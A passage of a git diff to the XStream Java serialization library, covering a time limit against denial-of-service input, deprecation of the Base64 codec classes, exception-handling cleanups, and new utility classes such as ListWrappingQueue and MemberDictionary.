(Integer)context.get(XStream.COLLECTION_UPDATE_SECONDS); + if (secondsUsed != null) { + final Integer limit = (Integer)context.get(XStream.COLLECTION_UPDATE_LIMIT); + if (limit == null) { + throw new ConversionException("Missing limit for updating collections."); + } + final int seconds = secondsUsed.intValue() + diff; + if (seconds > limit.intValue()) { + throw new InputManipulationException( + "Denial of Service attack assumed. Adding elements to collections or maps exceeds " + + limit.intValue() + + " seconds."); + } + context.put(XStream.COLLECTION_UPDATE_SECONDS, Integer.valueOf(seconds)); + } + } + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/core/StringCodec.java b/xstream/src/java/com/thoughtworks/xstream/core/StringCodec.java index 3317bc520..4721ddc69 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/StringCodec.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/StringCodec.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2017 XStream Committers. + * Copyright (C) 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -14,7 +14,7 @@ * Interface for an encoder and decoder of data to string values and back. * * @author Jörg Schaible - * @since upcoming + * @since 1.4.11 */ public interface StringCodec { @@ -23,7 +23,7 @@ public interface StringCodec { * * @param encoded the encoded string * @return the decoded data - * @since upcoming + * @since 1.4.11 */ byte[] decode(String encoded); @@ -32,7 +32,7 @@ public interface StringCodec { * * @param data the data to encode * @return the data encoded as string - * @since upcoming + * @since 1.4.11 */ String encode(byte[] data); } \ No newline at end of file diff --git a/xstream/src/java/com/thoughtworks/xstream/core/TreeMarshaller.java b/xstream/src/java/com/thoughtworks/xstream/core/TreeMarshaller.java index 410573bf5..b24f0e297 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/TreeMarshaller.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/TreeMarshaller.java @@ -1,16 +1,17 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2015, 2018, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 15. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.core; +import java.util.Collections; import java.util.Iterator; import com.thoughtworks.xstream.converters.ConversionException; @@ -19,7 +20,6 @@ import com.thoughtworks.xstream.converters.DataHolder; import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.core.util.ObjectIdDictionary; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.Mapper; @@ -77,8 +77,7 @@ public void start(final Object item, final DataHolder dataHolder) { writer.startNode(mapper.serializedClass(null)); writer.endNode(); } else { - ExtendedHierarchicalStreamWriterHelper.startNode(writer, mapper.serializedClass(item.getClass()), item - .getClass()); + writer.startNode(mapper.serializedClass(item.getClass()), item.getClass()); convertAnother(item); writer.endNode(); } @@ -86,8 +85,7 @@ public void start(final Object item, final DataHolder dataHolder) { @Override public Object get(final Object key) { - lazilyCreateDataHolder(); - return dataHolder.get(key); + return dataHolder != null ? dataHolder.get(key) : null; } @Override @@ -98,8 +96,7 @@ public void put(final Object key, final Object value) { @Override public Iterator keys() { - lazilyCreateDataHolder(); - return dataHolder.keys(); + return dataHolder != null ? dataHolder.keys() : Collections.EMPTY_MAP.keySet().iterator(); } private void lazilyCreateDataHolder() { diff --git a/xstream/src/java/com/thoughtworks/xstream/core/TreeUnmarshaller.java b/xstream/src/java/com/thoughtworks/xstream/core/TreeUnmarshaller.java index c30575dd3..ff9fe633b 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/TreeUnmarshaller.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/TreeUnmarshaller.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2014, 2015, 2018, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -11,6 +11,7 @@ */ package com.thoughtworks.xstream.core; +import java.util.Collections; import java.util.Iterator; import com.thoughtworks.xstream.converters.ConversionException; @@ -25,6 +26,7 @@ import com.thoughtworks.xstream.core.util.PrioritizedList; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.mapper.Mapper; +import com.thoughtworks.xstream.security.AbstractSecurityException; public class TreeUnmarshaller implements UnmarshallingContext { @@ -58,7 +60,7 @@ public Object convertAnother(final Object parent, Class type, Converter conve converter = converterLookup.lookupConverterForType(type); } else { if (!converter.canConvert(type)) { - final ConversionException e = new ConversionException("Explicit selected converter cannot handle type"); + final ConversionException e = new ConversionException("Explicitly selected converter cannot handle type"); e.add("item-type", type.getName()); e.add("converter-type", converter.getClass().getName()); throw e; @@ -68,18 +70,20 @@ public Object convertAnother(final Object parent, Class type, Converter conve } protected Object convert(final Object parent, final Class type, final Converter converter) { + types.push(type); try { - types.push(type); - final Object result = converter.unmarshal(reader, this); - types.popSilently(); - return result; + return converter.unmarshal(reader, this); } catch (final ConversionException conversionException) { addInformationTo(conversionException, type, converter, parent); throw conversionException; - } catch (final RuntimeException e) { + } catch (AbstractSecurityException e) { + throw e; + } catch (RuntimeException e) { final ConversionException conversionException = new ConversionException(e); addInformationTo(conversionException, type, converter, parent); throw conversionException; + } finally { + types.popSilently(); } } @@ -114,8 +118,7 @@ public Class getRequiredType() { @Override public Object get(final Object key) { - lazilyCreateDataHolder(); - return dataHolder.get(key); + return dataHolder != null ? dataHolder.get(key) : null; } @Override @@ -126,8 +129,7 @@ public void put(final Object key, final Object value) { @Override public Iterator keys() { - lazilyCreateDataHolder(); - return dataHolder.keys(); + return dataHolder != null ? dataHolder.keys() : Collections.EMPTY_MAP.keySet().iterator(); } private void lazilyCreateDataHolder() { diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/Base64Encoder.java b/xstream/src/java/com/thoughtworks/xstream/core/util/Base64Encoder.java index 311e2aa99..f59e2875d 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/Base64Encoder.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/Base64Encoder.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2017, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -16,6 +16,7 @@ import java.io.Reader; import java.io.StringReader; +import com.thoughtworks.xstream.core.Base64Codec; import com.thoughtworks.xstream.core.StringCodec; @@ -33,7 +34,9 @@ *

    * * @author Joe Walnes + * @deprecated As of upcoming use {@link Base64Codec} */ +@Deprecated public class Base64Encoder implements StringCodec { // Here's how encoding works: @@ -74,7 +77,7 @@ public class Base64Encoder implements StringCodec { * The encoder will not insert any line breaks. *

    * - * @since upcoming + * @since 1.4.11 */ public Base64Encoder() { this(false); @@ -84,7 +87,7 @@ public Base64Encoder() { * Constructs a Base64Encoder. * * @param lineBreaks flag to insert line breaks - * @since upcoming + * @since 1.4.11 */ public Base64Encoder(final boolean lineBreaks) { this.lineBreaks = lineBreaks; diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/Base64JAXBCodec.java b/xstream/src/java/com/thoughtworks/xstream/core/util/Base64JAXBCodec.java index ffd72a536..0688ad79f 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/Base64JAXBCodec.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/Base64JAXBCodec.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2017 XStream Committers. + * Copyright (C) 2017, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -12,6 +12,7 @@ import javax.xml.bind.DatatypeConverter; +import com.thoughtworks.xstream.core.Base64Codec; import com.thoughtworks.xstream.core.StringCodec; @@ -19,8 +20,10 @@ * Base64 codec implementation based on JAXB. * * @author Jörg Schaible - * @since upcoming + * @since 1.4.11 + * @deprecated As of upcoming use {@link Base64Codec} */ +@Deprecated public class Base64JAXBCodec implements StringCodec { @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/Base64JavaUtilCodec.java b/xstream/src/java/com/thoughtworks/xstream/core/util/Base64JavaUtilCodec.java index b6ef028a1..7d1cd77cc 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/Base64JavaUtilCodec.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/Base64JavaUtilCodec.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2017 XStream Committers. + * Copyright (C) 2017, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -12,18 +12,18 @@ import java.util.Base64; -import com.thoughtworks.xstream.core.StringCodec; +import com.thoughtworks.xstream.core.Base64Codec; /** * Base64 codec implementation based on java.util.Base64. * * @author Jörg Schaible - * @since upcoming + * @since 1.4.11 + * @deprecated As of upcoming use {@link Base64Codec} */ -public class Base64JavaUtilCodec implements StringCodec { - final private Base64.Decoder decoder; - final private Base64.Encoder encoder; +@Deprecated +public class Base64JavaUtilCodec extends Base64Codec { /** * Constructs a Base64JavaUtilCodec. @@ -31,10 +31,12 @@ public class Base64JavaUtilCodec implements StringCodec { * The implementation will use a basic encoder and a MIME decoder by default. *

    * - * @since upcoming + * @since 1.4.11 + * @deprecated As of upcoming use {@link Base64Codec#Base64Codec()} */ + @Deprecated public Base64JavaUtilCodec() { - this(Base64.getEncoder(), Base64.getMimeDecoder()); + super(); } /** @@ -42,20 +44,12 @@ public Base64JavaUtilCodec() { * * @param encoder the encoder instance * @param decoder the decoder instance - * @since upcoming + * @since 1.4.11 + * @deprecated As of upcoming use + * {@link Base64Codec#Base64Codec(java.util.Base64.Encoder, java.util.Base64.Decoder)} */ + @Deprecated public Base64JavaUtilCodec(final Base64.Encoder encoder, final Base64.Decoder decoder) { - this.encoder = encoder; - this.decoder = decoder; - } - - @Override - public byte[] decode(final String base64) { - return decoder.decode(base64); - } - - @Override - public String encode(final byte[] data) { - return encoder.encodeToString(data); + super(encoder, decoder); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/CompositeClassLoader.java b/xstream/src/java/com/thoughtworks/xstream/core/util/CompositeClassLoader.java index 4268a2ad4..644422cbd 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/CompositeClassLoader.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/CompositeClassLoader.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2011, 2013, 2014, 2015, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2013, 2014, 2015, 2017, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 16. November 2004 by Joe Walnes */ package com.thoughtworks.xstream.core.util; @@ -14,36 +14,40 @@ import java.lang.ref.Reference; import java.lang.ref.ReferenceQueue; import java.lang.ref.WeakReference; -import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Iterator; import java.util.List; + /** - * ClassLoader that is composed of other classloaders. Each loader will be used to try to load the particular class, until - * one of them succeeds. Note: The loaders will always be called in the REVERSE order they were added in. - * - *

    The Composite class loader also has registered the classloader that loaded xstream.jar - * and (if available) the thread's context classloader.

    - * + * ClassLoader that is composed of other classloaders. Each loader will be used to try to load the particular class, + * until one of them succeeds. Note: The loaders will always be called in the REVERSE order they were added in. + *

    + * The Composite class loader also has registered the classloader that loaded xstream.jar and (if available) the + * thread's context classloader. + *

    *

    Example

    - *
    CompositeClassLoader loader = new CompositeClassLoader();
    + *
    + * 
    + * CompositeClassLoader loader = new CompositeClassLoader();
      * loader.add(MyClass.class.getClassLoader());
      * loader.add(new AnotherClassLoader());
      *  
      * loader.loadClass("com.blah.ChickenPlucker");
    - * 
    - * - *

    The above code will attempt to load a class from the following classloaders (in order):

    - * + *
    + *
    + *

    + * The above code will attempt to load a class from the following classloaders (in order): + *

    *
      - *
    • AnotherClassLoader (and all its parents)
    • - *
    • The classloader for MyClas (and all its parents)
    • - *
    • The thread's context classloader (and all its parents)
    • - *
    • The classloader for XStream (and all its parents)
    • + *
    • AnotherClassLoader (and all its parents)
    • + *
    • The classloader for MyClas (and all its parents)
    • + *
    • The thread's context classloader (and all its parents)
    • + *
    • The classloader for XStream (and all its parents)
    • *
    - * - *

    The added classloaders are kept with weak references to allow an application container to reload classes.

    + *

    + * The added classloaders are kept with weak references to allow an application container to reload classes. + *

    * * @author Joe Walnes * @author Jörg Schaible @@ -52,15 +56,7 @@ public class CompositeClassLoader extends ClassLoader { static { // see http://www.cs.duke.edu/csed/java/jdk1.7/technotes/guides/lang/cl-mt.html - try { - final Method m = ClassLoader.class.getDeclaredMethod("registerAsParallelCapable"); - if (!m.isAccessible()) { - m.setAccessible(true); - } - m.invoke(null); - } catch (final Exception e) { - // ignore errors, JVM will synchronize class for Java 7 or higher - } + registerAsParallelCapable(); } private final ReferenceQueue queue = new ReferenceQueue<>(); @@ -73,6 +69,7 @@ public CompositeClassLoader() { /** * Add a loader to the n + * * @param classLoader */ public synchronized void add(final ClassLoader classLoader) { @@ -100,9 +97,9 @@ private void addInternal(final ClassLoader classLoader) { @Override public Class loadClass(final String name) throws ClassNotFoundException { final List copy = new ArrayList<>(classLoaders.size()); - synchronized(this) { + synchronized (this) { cleanup(); - for(final WeakReference ref : classLoaders) { + for (final WeakReference ref : classLoaders) { final ClassLoader cl = ref.get(); if (cl != null) { copy.add(cl); @@ -134,8 +131,7 @@ public Class loadClass(final String name) throws ClassNotFoundException { private void cleanup() { Reference ref; - while ((ref = queue.poll()) != null) - { + while ((ref = queue.poll()) != null) { classLoaders.remove(ref); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/CustomObjectInputStream.java b/xstream/src/java/com/thoughtworks/xstream/core/util/CustomObjectInputStream.java index 5c9778b46..edd8b8144 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/CustomObjectInputStream.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/CustomObjectInputStream.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2010, 2011, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2010, 2011, 2013, 2014, 2015, 2016, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -156,11 +156,7 @@ public byte readByte() throws IOException { @Override public int readUnsignedByte() throws IOException { - int b = ((Byte)peekCallback().readFromStream()).byteValue(); - if (b < 0) { - b += Byte.MAX_VALUE; - } - return b; + return ((Byte)peekCallback().readFromStream()).intValue() & 0xff; } @Override @@ -195,11 +191,7 @@ public short readShort() throws IOException { @Override public int readUnsignedShort() throws IOException { - int b = ((Short)peekCallback().readFromStream()).shortValue(); - if (b < 0) { - b += Short.MAX_VALUE; - } - return b; + return ((Short)peekCallback().readFromStream()).intValue() & 0xffff; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/CustomObjectOutputStream.java b/xstream/src/java/com/thoughtworks/xstream/core/util/CustomObjectOutputStream.java index 2bcc0e830..f3f346afe 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/CustomObjectOutputStream.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/CustomObjectOutputStream.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2014, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2016, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -34,8 +34,7 @@ public static synchronized CustomObjectOutputStream getInstance(final DataHolder try { CustomObjectOutputStream result = (CustomObjectOutputStream)whereFrom.get(DATA_HOLDER_KEY); if (result == null) { - result = new CustomObjectOutputStream(callback); - whereFrom.put(DATA_HOLDER_KEY, result); + result = new CustomObjectOutputStream(whereFrom, callback); } else { result.pushCallback(callback); } @@ -66,8 +65,12 @@ public static interface StreamCallback { * @see #getInstance(com.thoughtworks.xstream.converters.DataHolder, * com.thoughtworks.xstream.core.util.CustomObjectOutputStream.StreamCallback) */ - public CustomObjectOutputStream(final StreamCallback callback) throws IOException, SecurityException { + public CustomObjectOutputStream(final DataHolder dataHolder, final StreamCallback callback) + throws IOException, SecurityException { callbacks.push(callback); + if (dataHolder != null) { + dataHolder.put(DATA_HOLDER_KEY, this); + } } /** diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/DefaultDriver.java b/xstream/src/java/com/thoughtworks/xstream/core/util/DefaultDriver.java new file mode 100644 index 000000000..d7ac1c854 --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/DefaultDriver.java @@ -0,0 +1,34 @@ +/* + * Copyright (C) 2019, 2021 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 17. March 2019 by Joerg Schaible + */ +package com.thoughtworks.xstream.core.util; + +import com.thoughtworks.xstream.io.HierarchicalStreamDriver; +import com.thoughtworks.xstream.io.naming.NameCoder; +import com.thoughtworks.xstream.io.xml.MXParserDriver; + + +/** + * The factory for the default driver used by XStream. + *

    + * The main purpose of the class is an internal switch of the default driver for testing purposes. + *

    + * + * @author Jörg Schaible + * @since upcoming + */ +public final class DefaultDriver { + public static HierarchicalStreamDriver create() { + return new MXParserDriver(); + } + public static HierarchicalStreamDriver create(NameCoder coder) { + return new MXParserDriver(coder); + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/DependencyInjectionFactory.java b/xstream/src/java/com/thoughtworks/xstream/core/util/DependencyInjectionFactory.java index ed7e0d444..7a3415b5e 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/DependencyInjectionFactory.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/DependencyInjectionFactory.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2007, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (c) 2007, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -251,16 +251,10 @@ public int compare(final Constructor o1, final Constructor o2) { } return instance; - } catch (final InstantiationException e) { - th = e; - } catch (final IllegalAccessException e) { + } catch (final InstantiationException | IllegalAccessException | SecurityException | ExceptionInInitializerError e) { th = e; } catch (final InvocationTargetException e) { th = e.getCause(); - } catch (final SecurityException e) { - th = e; - } catch (final ExceptionInInitializerError e) { - th = e; } final ObjectAccessException ex = new ObjectAccessException("Cannot construct type", th); ex.add("construction-type", type.getName()); diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/FastField.java b/xstream/src/java/com/thoughtworks/xstream/core/util/FastField.java deleted file mode 100644 index 25810f10f..000000000 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/FastField.java +++ /dev/null @@ -1,63 +0,0 @@ -/* - * Copyright (C) 2008, 2010, 2014 XStream Committers. - * All rights reserved. - * - * The software in this package is published under the terms of the BSD - * style license a copy of which has been included with this distribution in - * the LICENSE.txt file. - * - * Created on 13. October 2008 by Joerg Schaible - */ -package com.thoughtworks.xstream.core.util; - -public final class FastField { - private final String name; - private final String declaringClass; - - public FastField(final String definedIn, final String name) { - this.name = name; - declaringClass = definedIn; - } - - public FastField(final Class definedIn, final String name) { - this(definedIn == null ? null : definedIn.getName(), name); - } - - public String getName() { - return name; - } - - public String getDeclaringClass() { - return declaringClass; - } - - @Override - public boolean equals(final Object obj) { - if (this == obj) { - return true; - } - if (obj == null) { - return false; - } - if (obj instanceof FastField) { - final FastField field = (FastField)obj; - if (declaringClass == null && field.declaringClass != null - || declaringClass != null && field.declaringClass == null) { - return false; - } - return name.equals(field.getName()) - && (declaringClass == null || declaringClass.equals(field.getDeclaringClass())); - } - return false; - } - - @Override - public int hashCode() { - return name.hashCode() ^ (declaringClass == null ? 0 : declaringClass.hashCode()); - } - - @Override - public String toString() { - return (declaringClass == null ? "" : declaringClass + ".") + name; - } -} \ No newline at end of file diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/FastStack.java b/xstream/src/java/com/thoughtworks/xstream/core/util/FastStack.java index 852e50d48..b613a6db2 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/FastStack.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/FastStack.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -26,12 +26,12 @@ public final class FastStack { private int pointer; public FastStack(final int initialCapacity) { - @SuppressWarnings("unchecked") final T[] array = getArray(initialCapacity); stack = array; } - private T[] getArray(final int capacity, final T... t) { + @SafeVarargs + private final T[] getArray(final int capacity, final T... t) { return Arrays.copyOf(t, capacity); } @@ -80,7 +80,6 @@ public T get(final int i) { } private void resizeStack(final int newCapacity) { - @SuppressWarnings("unchecked") final T[] newStack = getArray(newCapacity); System.arraycopy(stack, 0, newStack, 0, Math.min(pointer, newCapacity)); stack = newStack; diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/Fields.java b/xstream/src/java/com/thoughtworks/xstream/core/util/Fields.java index 7b6ffb85f..334efc4bd 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/Fields.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/Fields.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2014, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2014, 2016, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -39,11 +39,10 @@ public static Field locate(final Class definedIn, final Class fieldType, f if (field != null && !field.isAccessible()) { field.setAccessible(true); } - } catch (final SecurityException e) { + } catch (final SecurityException | NoClassDefFoundError e) { // active SecurityManager - } catch (final NoClassDefFoundError e) { - // restricted type in GAE } + // restricted type in GAE return field; } @@ -54,11 +53,7 @@ public static Field find(final Class type, final String name) { result.setAccessible(true); } return result; - } catch (final SecurityException e) { - throw wrap("Cannot access field", type, name, e); - } catch (final NoSuchFieldException e) { - throw wrap("Cannot access field", type, name, e); - } catch (final NoClassDefFoundError e) { + } catch (final SecurityException | NoSuchFieldException | NoClassDefFoundError e) { throw wrap("Cannot access field", type, name, e); } } @@ -66,13 +61,7 @@ public static Field find(final Class type, final String name) { public static void write(final Field field, final Object instance, final Object value) { try { field.set(instance, value); - } catch (final SecurityException e) { - throw wrap("Cannot write field", field.getType(), field.getName(), e); - } catch (final IllegalArgumentException e) { - throw wrap("Cannot write field", field.getType(), field.getName(), e); - } catch (final IllegalAccessException e) { - throw wrap("Cannot write field", field.getType(), field.getName(), e); - } catch (final NoClassDefFoundError e) { + } catch (final SecurityException | IllegalArgumentException | IllegalAccessException | NoClassDefFoundError e) { throw wrap("Cannot write field", field.getType(), field.getName(), e); } } @@ -80,18 +69,12 @@ public static void write(final Field field, final Object instance, final Object public static Object read(final Field field, final Object instance) { try { return field.get(instance); - } catch (final SecurityException e) { - throw wrap("Cannot read field", field.getType(), field.getName(), e); - } catch (final IllegalArgumentException e) { - throw wrap("Cannot read field", field.getType(), field.getName(), e); - } catch (final IllegalAccessException e) { - throw wrap("Cannot read field", field.getType(), field.getName(), e); - } catch (final NoClassDefFoundError e) { + } catch (final SecurityException | IllegalArgumentException | IllegalAccessException | NoClassDefFoundError e) { throw wrap("Cannot read field", field.getType(), field.getName(), e); } } - private static ObjectAccessException wrap(final String message, final Class type, final String name, + private static ObjectAccessException wrap(final String message, final Class type, final String name, final Throwable ex) { final ObjectAccessException exception = new ObjectAccessException(message, ex); exception.add("field", type.getName() + "." + name); diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/ISO8601JodaTimeConverter.java b/xstream/src/java/com/thoughtworks/xstream/core/util/ISO8601JodaTimeConverter.java index 8e3563ee5..7d0b514e7 100644 --- a/xstream/src/java/com/thoughtworks/xstream/core/util/ISO8601JodaTimeConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/ISO8601JodaTimeConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2011, 2013, 2014, 2015, 2016, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2013, 2014, 2015, 2016, 2017, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -35,7 +35,9 @@ * @author Jörg Schaible * @see ISO 8601 * @since 1.4.10 + * @deprecated As of upcoming, no longer required since Java 8, use {@link ISO8601JavaTimeConverter} instead */ +@Deprecated public class ISO8601JodaTimeConverter extends AbstractSingleValueConverter { private static final DateTimeFormatter[] formattersUTC = { // ISODateTimeFormat.dateTime(), // diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/ListWrappingQueue.java b/xstream/src/java/com/thoughtworks/xstream/core/util/ListWrappingQueue.java new file mode 100644 index 000000000..88f076e18 --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/ListWrappingQueue.java @@ -0,0 +1,126 @@ +/* + * Copyright (C) 2020 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 22. Mai 2020 by Joerg Schaible + */ +package com.thoughtworks.xstream.core.util; + +import java.util.Collection; +import java.util.Iterator; +import java.util.List; +import java.util.Queue; + +/** + * A Queue wrapper for a list + * + * @author Jörg Schaible + * @since upcoming + */ +public final class ListWrappingQueue implements Queue { + private final List list; + + /** + * Constructs a QueueImplementation. + * + * @param list + * @since upcoming + */ + public ListWrappingQueue(final List list) { + this.list = list; + } + + @Override + public int size() { + return this.list.size(); + } + + @Override + public boolean isEmpty() { + return this.list.isEmpty(); + } + + @Override + public boolean contains(final Object o) { + return this.list.contains(o); + } + + @Override + public Iterator iterator() { + return this.list.iterator(); + } + + @Override + public Object[] toArray() { + return this.list.toArray(); + } + + @Override + public T[] toArray(final T[] a) { + return this.list.toArray(a); + } + + @Override + public boolean remove(final Object o) { + return this.list.remove(o); + } + + @Override + public boolean containsAll(final Collection c) { + return this.list.containsAll(c); + } + + @Override + public boolean addAll(final Collection c) { + return this.list.addAll(c); + } + + @Override + public boolean removeAll(final Collection c) { + return this.list.removeAll(c); + } + + @Override + public boolean retainAll(final Collection c) { + return this.list.retainAll(c); + } + + @Override + public void clear() { + this.list.clear(); + } + + @Override + public boolean add(final E e) { + return this.list.add(e); + } + + @Override + public boolean offer(final E e) { + return this.list.add(e); + } + + @Override + public E remove() { + return this.list.remove(0); + } + + @Override + public E poll() { + return this.list.remove(0); + } + + @Override + public E element() { + return this.list.get(0); + } + + @Override + public E peek() { + return this.list.get(0); + } +} \ No newline at end of file diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/MemberDictionary.java b/xstream/src/java/com/thoughtworks/xstream/core/util/MemberDictionary.java new file mode 100644 index 000000000..d841ad124 --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/MemberDictionary.java @@ -0,0 +1,69 @@ +/* + * Copyright (C) 2024 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 21. October 2024 by Joerg Schaible + */ +package com.thoughtworks.xstream.core.util; + +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; + + +/** + * A dictionary for member information of types. + * + * @author Jörg Schaible + * @since 1.4.21 + */ +public class MemberDictionary { + + private final Map> types; + + /** + * Constructs an instance. + * + * @since 1.4.21 + */ + public MemberDictionary() { + types = new HashMap<>(); + } + + /** + * Add the member of the type into the dictionary. + * + * @param definedIn the type owning the member or null + * @param member the member name + * @return true if the member has been added to the dictionary + * @since 1.4.21 + */ + public boolean add(final Class definedIn, final String member) { + final String className = definedIn == null ? null : definedIn.getName(); + Set members = types.get(className); + if (members == null) { + members = new HashSet<>(); + types.put(className, members); + } + return members.add(member); + } + + /** + * Checks the existence of the member of a type in the dictionary. + * + * @param definedIn the type owning the member or null + * @param member the member name + * @return true if the member is in the dictionary + * @since 1.4.21 + */ + public boolean contains(final Class definedIn, final String member) { + final String className = definedIn == null ? null : definedIn.getName(); + final Set members = types.get(className); + return members != null && members.contains(member); + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/core/util/MemberStore.java b/xstream/src/java/com/thoughtworks/xstream/core/util/MemberStore.java new file mode 100644 index 000000000..696c0f404 --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/core/util/MemberStore.java @@ -0,0 +1,98 @@ +/* + * Copyright (C) 2024 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 21. October 2024 by Joerg Schaible + */ +package com.thoughtworks.xstream.core.util; + +import java.util.HashMap; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.ConcurrentHashMap; + + +/** + * A store for member information of types. + * + * @author Jörg Schaible + * @since 1.4.21 + */ +public class MemberStore { + + private final Map> types; + private final boolean synced; + + /** + * Creates a new instance of a MemberStore. + * + * @since 1.4.21 